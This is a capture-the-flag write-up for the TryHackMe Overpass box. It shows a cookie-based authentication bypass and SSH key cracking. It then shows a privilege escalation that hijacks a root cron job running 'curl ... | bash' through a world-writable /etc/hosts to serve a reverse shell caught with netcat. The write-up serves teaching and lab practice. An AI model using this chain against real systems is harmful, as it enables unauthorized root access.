Room link

1
What happens when some broke CompSci students make a password manager?

Objectives

Capture two flags from the box

Steps

Enumeration

As always lets start with a basic portscan

1
2
3
4
5
6
7
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We see there’s a SSH server and a HTTP server open.

HTTP

When we visit the site we’re greeted with a lovely page http index

We see that this a password manager product. In the source code of this page we can see a small comment about the used encryption

1
<!--Yeah right, just because the Romans used it doesn't make it military grade, change this?-->

Let’s scan the website with dirsearch and see what we get

1
2
3
4
5
6
301 - /admin  ->  /admin/
301 - /aboutus  ->  aboutus/
301 - /css  ->  css/
301 - /downloads  ->  downloads/
301 - /img  ->  img/
301 - /index.html  ->  ./

We can see there’s an admin page. After visiting that we see a login form http login

The login page is handled by some javascript code. It gets the username&password and sends it to a specific endpoint to get a response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
async function login() {
    const usernameBox = document.querySelector("#username");
    const passwordBox = document.querySelector("#password");
    const loginStatus = document.querySelector("#loginStatus");
    loginStatus.textContent = ""
    const creds = { username: usernameBox.value, password: passwordBox.value }
    const response = await postData("/api/login", creds)
    const statusOrCookie = await response.text()
    if (statusOrCookie === "Incorrect credentials") {
        loginStatus.textContent = "Incorrect Credentials"
        passwordBox.value=""
    } else {
        Cookies.set("SessionToken",statusOrCookie)
        window.location = "/admin"
    }
}

The hint for this task is that it’s a OWASP top 10 vulnerability and there’s no bruteforcing involved. This code sends the credentials to the endpoint and sets the response to the cookie called “SessionToken”. One of the common vulnerabilites is “Broken Authentication” and we might be able to bypass the authentication check by just setting the SessionToken cookie to anything

We can run this code to set this cookie and then we can visit the admin page

1
Cookies.set("SessionToken", "")

http admin On this page we find a SSH key and a note from Paradox. The SSH key has a section that says ENCRYPTED, this means we’ll probably need to crack it.

For that we can use ssh2john and john

Shell

With the key password known we can now login to the system

1
2
3
4
james@overpass-prod:~$ ls -l
total 8
-rw-rw-r-- 1 james james 438 Jun 27 04:23 todo.txt
-rw-rw-r-- 1 james james  38 Jun 27 16:07 user.txt

We can see the user flag and a todo note

1
2
3
4
5
6
7
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
  Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
  They're not updating on the website

The note mentions an automated build script which probably is set-up as a cronjob

We can confirm this by checking /etc/crontab

1
2
3
4
5
6
7
8
9
10
11
james@overpass-prod:~$ cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

We see that the cronjob fetches the buildscript from the website and pipes it to bash. To exploit this we’d need to somehow redirect the domain to our IP.

Luckily, when running linpeas we find out that /etc/hosts is world-writable. With this we can replace the localhost IP with our IP and serve a malicious bash script

1
2
3
4
5
6
7
8
9
10
james@overpass-prod:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 overpass-prod
127.0.0.1 overpass.thm # Replace 127.0.0.1 with your IP
# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Back on our host machine

1
2
3
4
5
6
7
8
9
» mkdir -p downloads/src/
» echo '<REVSHELL HERE>' > downloads/src/buildscript.sh
» sudo python3 -m http.server 80

# on another session
» nc -lvnp <PORT>
Connection from 10.10.192.222:57464
# id
uid=0(root) gid=0(root) groups=0(root)

Now we have root and can read the root flag :)

Bonus challenge

1
2
3
There is a TryHackMe subscription code hidden on this box. 
The first person to find and activate it will get a one month subscription for free! 
If you're already a subscriber, why not give the code to a friend?

The creator hid a subscription code somewhere on the machine. To find it we’ll need to analyze the password manager itself.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// [...]

//Load the credentials from the encrypted file
func loadCredsFromFile(filepath string) ([]passListEntry, string) {
	buff, err := ioutil.ReadFile(filepath)
	if err != nil {
		fmt.Println(err.Error())
		return nil, "Failed to open or read file"
	}
	//Decrypt passwords
	buff = []byte(rot47(string(buff)))
	//Load decrypted passwords
	var passlist []passListEntry
	err = json.Unmarshal(buff, &passlist)
	if err != nil {
		fmt.Println(err.Error())
		return nil, "Failed to load creds"
	}
	return passlist, "Ok"
}

// [...]

func main() {
	credsPath, err := homedir.Expand("~/.overpass")
	if err != nil {
		fmt.Println("Error finding home path:", err.Error())
	}
	//Load credentials
	passlist, status := loadCredsFromFile(credsPath)
	if status != "Ok" {
		fmt.Println(status)
		fmt.Println("Continuing with new password file.")
		passlist = make([]passListEntry, 0)
    }
    //[...]
}

(Full source file available at go source)

We can see that the manager:

With this known we can look for .overpass files on the filesystem

1
2
3
4
5
6
7
root@overpass-prod:~# find / -name .overpass 2>/dev/null
/home/tryhackme/.overpass
/home/james/.overpass
root@overpass-prod:~# cat /home/james/.overpass
,LQ?2>6QiQ$JDE6>Q[QA2DD<REDACTED>
root@overpass-prod:~# cat /home/tryhackme/.overpass
,LQ?2>6QiQ%CJw24<|6 $F3D4C:AE:@? r@56Q[QA2DDQiQ8>%sJ=QN.

Now we can run rot47 on these files and check their contents

1
2
3
,LQ?2>6QiQ$JDE6>Q[QA2DD<REDACTED>

[{"name":"System","pass":"<REDACTED>"}]
1
2
3
,LQ?2>6QiQ%CJw24<|6 $F3D4C:AE:@? r@56Q[QA2DDQiQ8>%sJ=QN.

[{"name":"TryHackMe Subscription Code","pass":"gmTDyl"}]

This was the bonus challenge the creator made on this box. (The code has been already claimed :D )





Thanks to: